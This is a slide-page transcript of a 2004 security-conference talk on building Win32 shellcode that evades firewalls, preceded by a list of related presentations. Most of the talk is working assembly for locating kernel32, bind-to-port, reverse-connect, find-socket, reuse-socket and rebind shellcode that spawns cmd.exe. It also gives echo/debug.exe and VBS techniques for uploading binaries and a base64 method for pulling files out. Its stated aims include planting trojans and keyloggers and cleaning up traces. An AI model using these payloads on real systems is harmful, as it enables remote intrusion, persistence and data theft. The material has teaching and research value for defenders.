Win32 One-Way Shellcode Building Firewall-proof shellcode RUXCON 2004 Sydney, Australia Co-founder, Security Consultant, Software.

Slides:



Advertisements
Similar presentations
Socket Programming 101 Vivek Ramachandran.
Advertisements

Introduction to Sockets Jan Why do we need sockets? Provides an abstraction for interprocess communication.
Computer Net Lab/Praktikum Datenverarbeitung 2 1 Overview Sockets Sockets in C Sockets in Delphi.
Smashing the Stack for Fun and Profit
Hacking: The Art of Exploitation
Copyright © 2000, Daniel W. Lewis. All Rights Reserved. CHAPTER 5 MIXING C AND ASSEMBLY.
Introduction to Information Security ROP – Recitation 5 nirkrako at post.tau.ac.il itamarg at post.tau.ac.il.
Computer Security: Principles and Practice First Edition by William Stallings and Lawrie Brown Lecture slides by Lawrie Brown Chapter 11 – Buffer Overflow.
C Programming and Assembly Language Janakiraman V – NITK Surathkal 2 nd August 2014.
Countermeasures 0x610~0x Seokmyung Hong.
Review: Software Security David Brumley Carnegie Mellon University.
1 CHAPTER 8 BUFFER OVERFLOW. 2 Introduction One of the more advanced attack techniques is the buffer overflow attack Buffer Overflows occurs when software.
Jieun Song Port-Binding & Connect-Back Shellcode.
Socket Programming.
Practical Session 5. Addressing Modes #include #define VECTOR_SIZE 5 #define MATRIX_ROWS 2 #define MATRIX_COLUMNS 3 extern int DotProduct(int V1[VECTOR_SIZE],
CS490T Advanced Tablet Platform Applications Network Programming Evolution.
Practical Session 5. Addressing Modes #include #define VECTOR_SIZE 5 #define MATRIX_ROWS 2 #define MATRIX_COLUMNS 3 extern int DotProduct(int V1[VECTOR_SIZE],
Client Server Model The client machine (or the client process) makes the request for some resource or service, and the server machine (the server process)
John Degenhart Joseph Allen.  What is FTP?  Communication over Control connection  Communication over Data Connection  File Type  Data Structure.
IA32 Addressing Modes Chapter 5 The ISA Level cont’d.
0wning Antivirus Alex Wheeler Neel Mehta
1 Advanced Application and Web Filtering. 2 Common security attacks Finding a way into the network Exploiting software bugs, buffer overflows Denial of.
CS252: Systems Programming Ninghui Li Final Exam Review.
FALL 2005CSI 4118 – UNIVERSITY OF OTTAWA1 Part 4 Web technologies: HTTP, CGI, PHP,Java applets)
Agenda  Terminal Handling in Unix File Descriptors Opening/Assigning & Closing Sockets Types of Sockets – Internal(Local) vs. Network(Internet) Programming.
LWIP TCP/IP Stack 김백규.
Computer Security and Penetration Testing
BLENDED ATTACKS EXPLOITS, VULNERABILITIES AND BUFFER-OVERFLOW TECHNIQUES IN COMPUTER VIRUSES By: Eric Chien and Peter Szor Presented by: Jesus Morales.
Server Sockets: A server socket listens on a given port Many different clients may be connecting to that port Ideally, you would like a separate file descriptor.
Today’s topics Parameter passing on the system stack Parameter passing on the system stack Register indirect and base-indexed addressing modes Register.
Assembly Language for Intel-Based Computers, 6 th Edition Chapter 8: Advanced Procedures (c) Pearson Education, All rights reserved. You may.
CIS 450 – Network Security Chapter 7 – Buffer Overflow Attacks.
© 1999 Ernst & Young LLP e e treme hacking Black Hat 1999 Over the Router, Through the Firewall, to Grandma’s House We Go George Kurtz & Eric Schultze.
IA32 (Pentium) Processor Architecture. Processor modes: 1.Protected (mode we will study) – 32-bit mode – 32-bit (4GB) address space 2.Virtual 8086 modes.
The Socket Interface Chapter 21. Application Program Interface (API) Interface used between application programs and TCP/IP protocols Interface used between.
The Socket Interface Chapter 22. Introduction This chapter reviews one example of an Application Program Interface (API) which is the interface between.
© Anders Ingeborn IDS Evasion Design Tricks for Buffer Overflow Exploits.
1 Server Design Discuss Design issues for Servers Review Server Creation in Windows.
Syscall Proxying   Simulating Remote Execution Maximiliano Cáceres  Caesars Palace, Las Vegas, NV, USA · July 31st, 2002.
Remote Shell CS230 Project #4 Assigned : Due date :
Practical Session 5. Addressing Modes #include #define VECTOR_SIZE 5 #define MATRIX_ROWS 2 #define MATRIX_COLUMNS 3 extern int DotProduct(int V1[VECTOR_SIZE],
Introduction to InfoSec – Recitation 2 Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (itamargi at post.tau.ac.il)
REALLY HACKING SQL SERVER 2000 Less Theory – More Action Jasper Smith.
CNIT 127: Exploit Development Ch 3: Shellcode. Topics Protection rings Syscalls Shellcode nasm Assembler ld GNU Linker objdump to see contents of object.
CE Operating Systems Lecture 13 Linux/Unix interprocess communication.
Sahar Mosleh California State University San MarcosPage 1 Stack operations, Applications and defining procedures.
1 Network Firewalls CSCI Web Security Spring 2003 Presented By Yasir Zahur.
Chapter 27 Socket API Interface The interface between an application program and the communication protocols in an operating system is known as the Application.
Retina Network Security Scanner
CNIT 127: Exploit Development Ch 8: Windows Overflows Part 2.
Where’s the FEEB?: Effectiveness of Instruction Set Randomization Nora Sovarel, David Evans, Nate Paul University of Virginia Computer Science USENIX Security.
1 The Stack and Procedures Chapter 5. 2 A Process in Virtual Memory  This is how a process is placed into its virtual addressable space  The code is.
October 1, 2003Serguei A. Mokhov, 1 SOEN228, Winter 2003 Revision 1.2 Date: October 25, 2003.
Practical Session 4. GNU Linker Links object files together Used as the last step in the compilation We will use ld to link together compiled assembly.
Introduction to InfoSec – Recitation 3 Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (infosec15 at modprobe.net)
ROP Exploit. ROP Return Oriented Programming (ROP): is a hacking exploit technique where you exploit buffer overflow to inject a chain of gadgets. Each.
Practical Session 4. GNU Linker Links object files together Used as the last step in the compilation We will use ld to link together compiled assembly.
Introduction to Information Security
Introduction to Information Security
Assembly Lab 3.
CH5 TCP Client - Server Example:
Interacting With Protocol Software
UNIX Sockets Outline Homework #1 posted by end of day
0wning Antivirus Alex Wheeler
CSC 497/583 Advanced Topics in Computer Security
System and Cyber Security
Computer Architecture and System Programming Laboratory
Computer Architecture and System Programming Laboratory
Exceptions and networking
Presentation transcript:

Win32 One-Way Shellcode Building Firewall-proof shellcode RUXCON 2004 Sydney, Australia Co-founder, Security Consultant, Software Architect Scan Associates Sdn Bhd

Overview Introduction –Windows Shellcode Skeleton –Bind to port –Reverse connect One-way Shellcode –Find socket –Reuse socket –Rebind socket –Other One-way Transferring file End of shellcode?

Introduction to Shellcode (1) An exploit consists of two major parts: –Exploitation Technique –Payload The objective of the exploitation part is to divert the execution path: –Stack-based, heap-based Buffer Overflow –Format String –Memory corruption –Integer Overflow, etc. Exploitation techniques vary and depend on specific vulnerabilities

Introduction to Shellcode (2) Payload allows arbitrary code execution Shellcode is a payload that will spawn you a shell, which in turn allows interactive command execution Unlike Exploitation Technique, a well designed shellcode can easily be reused in other exploits Basic requirements: a shell and a connection

Why Shellcode? Discover internal network to further penetrate into other computers –net view /domain Upload/download file/database Install trojan, key logger, sniffer, enterprise worm, WinVNC, etc. Restart vulnerable services Cleaning up traces Etc.

Windows Shellcode Skeleton Getting EIP Decoder Getting addresses of required functions Setup socket Spawning shell

Getting EIP Useful to know where you are (EIP) To get EIP, we can CALL a procedure and POP it from the stack before return : label1: pop eax : … (eax = ) : call label : : jmp label : label2: jmp cont : label1: call label : cont: pop eax … (eax = )

Decoder Buffer overflow usually will not allow NULL and some special characters Shellcode can encode itself using XOR to prevent these special characters During execution, a decoder will translate the rest of the code back to opcode xorecx, ecx mov cl, 0C6h ;size loop1: inceax xor byte ptr [eax], 96h loop loop1

Getting Address of Required Function Locate address of any Win32 API via GetProcAddress() We can locate address of GetProcAddress() from KERNEL32.DLL in the memory Default KERNEL32.DLL base memory: –NT – 0x77f00000 –2kSP2 & SP3 – 0x77e80000 –WinXP - 0x77e60000 KERNEL32.DLL starts with “MZ\x90”, the strategy is to loop backward from 0x77f00000 to find “\x90ZM”

Locating Kernel32 Base Memory A better way to locate Kernel32 base memory mov eax,fs:[30h]; PEB base mov eax,[eax+0ch]; goto PEB_LDR_DATA mov esi,[eax+1ch]; first entry in ; InInitializationOrderModuleList lodsd; forward to next LIST_ENTRY mov ebx,[eax+08h]; Kernel32 base memory

Getting GetProcAddress() (1) Obtain GetProcAddress() from Export Table in Kernel32 –Locate Export Name Table –Loop to find “GetProcAddress” –Get Ordinal and calculate the address movesi,dword ptr [ebx+3Ch];to PE Header addesi,ebx movesi,dword ptr [esi+78h] ;to export table addesi,ebx movedi,dword ptr [esi+20h] ;to export name table addedi,ebx movecx,dword ptr [esi+14h] ;number of exported function pushesi xoreax,eax

Getting GetProcAddress() (2) ProcAddr = (((counter * 2) + Ordinal) * 4) + AddrTable + Kernel32Base movedx,dword ptr [esi+24h] ;to Export Ordinals addedx,ebx shleax,1;count * 2 addeax,edx ;count + Export Ordinals xorecx,ecx movcx,word ptr [eax] moveax,dword ptr [esi+1Ch] ;to Export Addr addeax,ebx shlecx,2 ;count * 4 addeax,ecx ;count + Export Addr movedx,dword ptr [eax] addedx,ebx ;GetProcAddress()

Getting other functions by name Set ESI to Function name, EDI to store the addr Move ECX to number of function to load Call loadaddr movedi,esi xorecx,ecx movcl,3 callloadaddr loadaddr: moval,byte ptr [esi] incesi testal,al jneloadaddr pushecx pushedx pushesi pushebx calledx popedx popecx stosd looploadaddr ret

Spawning a shell (1) Set up STARTUPINFO Standard input/output/err will be redirected Call CreateProcess() to launch cmd.exe

Spawning a shell (2) movbyte ptr [ebp],44h ;STARTUPINFO size movdword ptr [ebp+3Ch],ebx ;output handler movdword ptr [ebp+38h],ebx ;input handler movdword ptr [ebp+40h],ebx ;error handler ;STARTF_USESTDHANDLES |STARTF_USESHOWWINDOW movword ptr [ebp+2Ch],0101h leaeax,[ebp+44h] pusheax pushebp pushecx incecx pushecx dececx pushecx pushesi pushecx calldword ptr [edi-28] ;CreateProcess

Demo Building a shellcode (bind.asm) –Writing –Compiling –Hex editing

The Connection To be interactive, the shellcode must somehow setup a channel to allow us to send command as well as receive output from the shell Three known techniques: –Bind to port –Reverse connection –Find socket

Bind to port shellcode (1) Setup a socket to bind to a specific port and listen for a connection Upon accepting connection, spawn a new shell –WSASocket() –bind() –listen() –accept() Exploits: slxploit.c, aspcode.c, asp_brute.c

Bind to port shellcode (2) Buffer Overflow Server Attack vulnerable service Attacker connect to port N to get shell Attacker Shellcode binds to port N

Bind to port shellcode implementation movebx,eax movword ptr [ebp],2 movword ptr [ebp+2],5000h ;port movdword ptr [ebp+4], 0 ;IP push10h pushebp pushebx calldword ptr [edi-12] ;bind inceax pusheax pushebx calldword ptr [edi-8] ;listen (soc, 1) pusheax pushebx calldword ptr [edi-4] ;accept Result: 435 bytes Bind to port shellcode that will work with any service pack (bind.asm)

Demo Testing Bind to port shellcode using a test program (testskode)

Problem with bind to port shellcode Firewall usually blocks all ports except for listening ports of the services block in on $EXTIF from any to any pass in log quick on $EXTIF inet proto {tcp,udp} from any to $HTTP port = http flags S keep state Buffer Overflow Server Attack vulnerable service Attacker connect to port N blocked by firewall Attacker Shellcode binds to port N

Reverse Connect Shellcode (1) Create a new socket Connection to an IP and port specified in the shellcode –WSAStartup() –WSASocket() –connect() Exploits: jill.c, iis5asp_exp.c, sqludp.c, iis5htr_exp.c

Reverse Connect Shellcode (2) Buffer Overflow Attack vulnerable service Server Attacker Shellcode creates a new socket Server connect to Attacker and spawn a shell

Reverse Connect Shellcode Implementation pusheax inceax pusheax inceax pusheax calldword ptr [edi-8] ;WSASocketA movebx,eax movword ptr [ebp],2 movword ptr [ebp+2],5000h ;port movdword ptr [ebp+4], 2901a8c0h ;IP push10h pushebp pushebx calldword ptr [edi-4] ;connect Result: 384 bytes Reverse connection shellcode (reverse.asm)

Demo Exploit can change the IP and port using: –*(unsigned int *)&reverse[0x12f] = resolve(argv[1]) ^ 0x ; –*(unsigned short *)&reverse[0x12a] = htons(atoi(argv[2])) ^ 0x9696; Using reverse connect shellcode in JRun/ColdFusion Heap based Buffer overflow (weiwei.pl)

Problem with reverse connect shellcode Firewall usually blocks all outgoing connection from DMZ block out log on $EXTIF from any to any Buffer Overflow Attack vulnerable service Server Attacker Shellcode creates a new socket Reverse connect blocked by firewall

One-Way Shellcode Firewall blocks all ports except for listening ports of the services Firewall blocks all outgoing connection from DMZ server One way shellcode: –Find socket –Reuse socket –Rebind socket –Command execution –Others

Find socket shellcode (1) Find and use existing connection –Loop to find the socket descriptor of the current connection –Identify current connection by comparing destination port –Once found, bind it to a shell However, socket may not be a non- overlapping socket Thus, we cannot use it directly as in/out/err handler in CreateProcess() Using anonymous pipe

Find socket shellcode (2) Buffer Overflow Attack vulnerable service Server Attacker Shellcode loops to find current socket descriptor Shellcode reuse current connection to spawn a shell

xorebx,ebx movbl,80h find: incebx movdword ptr [ebp],10h leaeax,[ebp] pusheax leaeax,[ebp+4] pusheax pushebx ;socket calldword ptr [edi-4];getpeername cmpword ptr [ebp+6],1234h;myport jnefind found: pushebx;socket Find socket shellcode implementation Result: 579 bytes Reuse socket shellcode that uses anonymous pipe (findsock.asm)

Demo Using find socket shellcode in MS SQL Server HelloBug (hellobug.pl)

Problem with find socket shellcode Socket is no longer available in most heap-based buffer overflow in Win32 For example: –iis5asp_exp.c, iis5htr_exp.c, weiwei.pl

Reuse socket shellcode (1) Create a socket, use setsockopt() to reuse address, bind a shell directly to the existing service port: –WSASocketA() –setsockopt() –bind() –listen() –accept() The next connection to the service will return a shell In Win32, any user may bind to any port, even < 1024

Reuse socket shellcode (2) Buffer Overflow Attack vulnerable service Server Attacker Shellcode rebinds cmd to same port Attacker connect vulnerable service again to get shell

Reuse socket shellcode implementation movword ptr [ebp],2 push4 pushebp push4;SO_REUSEADDR push0ffffh pushebx calldword ptr [edi-20] ;setsockopt movword ptr [ebp+2],5000h ;port movdword ptr [ebp+4], 0h ;IP push10h pushebp pushebx calldword ptr [edi-12] ;bind Result: 434 bytes reuse socket shellcode (reuse.asm)

Demo Using Reuse socket in WebDav exploit (reusewb.c)

Problem with Reuse Socket Some applications use SO_EXCLUSIVEADDRUSE, thus reusing the address is not possible

Rebind Socket Shellcode (1) Fork a separate process Forcefully terminate the vulnerable service The new process will bind to the port of the vulnerable service Connection to the same port will return a shell

Rebind Socket Shellcode (2) Forking a process –CreateProcess() in suspend mode –GetThreadContext() and modify EIP –VirtualAllocEx() –WriteProcessMemory() copy shellcode to new location –SetThreadContext() –ResumeThread() Forcefully termination of process –TerminateProcess(-1,0); Binding cmd –Loop to bind to same port until successful

Rebind Socket Shellcode (3) Buffer Overflow Attack vulnerable service Server Attacker Attacker connect vulnerable service again to get shell Process bind to same port Fork a process and terminate Exit

Demo Using Rebind socket in WebDav exploit (rebindwb.c) Using Rebind socket in MSSQL Resolution Bug (lengmui.c)

Other One-Way Shellcode Brett Moore’s 91 byte shellcode –Bind CMD to every socket descriptor XFocus’s send again shellcode –send(“ey4s”,…) after buffer overflow –Set each socket descriptor to non-blocking –recv(…) to check for “ey4s”, spawn CMD –Loop if not true Command execution shellcode –No socket require –CreateProcess() –250 Bytes + Command length

Demo RPC-DCOM Remote Command Execution Exploit –Dcomx.c

Transferring file using shellcode We may need to upload local exploit, key logger, sniffer, enterprise worm, remote exploits to attack other servers Possible to use ftp/tftp client to upload file –ftp –s:script –tftp –i myserver GET file.exe If a firewall is in the way we still can reconstruct a binary file from a command line…

Uploading file with debug.exe Reconstructing binary using debug.exe 1. Create a script containing debug’s command with “echo” command 2. Direct the script to debug.exe Problem: Cannot create file bigger that 64k C:\>echo nbell.com>b.s C:\>echo a>>b.s C:\>echo dw07B8 CD0E C310>>b.s C:\>echo.>>b.s C:\>echo R CX>>b.s C:\>echo 6 >>b.s C:\>echo W>>b.s C:\>echo Q>>b.s C:\>debug<b.s

Reconstructing binary using Visual Basic Script (.VBS) 1.Create a VBS script that will read hex code from a file and rewrite it as binary 2.Upload the script to target using “echo” command 3.Read file to be uploaded, and “echo” the hex code to the target server 4.Run the VBS script to translate hex code to binary Uploading file with VBS (1)

Uploading file with VBS (2) Set arr = WScript.Arguments Set wsf = CreateObject("Scripting.FileSystemObject") Set infile = wsf.opentextfile(arr(arr.Count-2), 1, TRUE) Set file = wsf.opentextfile(arr(arr.Count-1), 2, TRUE) do while infile.AtEndOfStream = false line = infile.ReadLine For x = 1 To Len(line)-2 Step 2 thebyte = Chr(38) & "H" & Mid(line, x, 2) file.write Chr(thebyte) Next loop file.close infile.close

Downloading File Translate file into base64 Use “type” to show the file Capture output and save as base64 file print SOCKET "base64 -e $file outhex2.txt\n"; receive(); print SOCKET "type outhex2.txt\n"; open(RECV, ">$file.b64"); print RECV receive();

Demo File transfer without additional connection

End of Shellcode? More shellcode! –HD Moore ( Advance payload: –CORE Security Syscall Proxying ( usa-02-speakers.html#Maximiliano Caceres) Inlineegg ( –LSD-Planet ( –Eeye ( speakers.html#Riley Hassel) –Dave Aitel ( –Alexander E. Cuttergo (Impurity)

Q & A Thank You!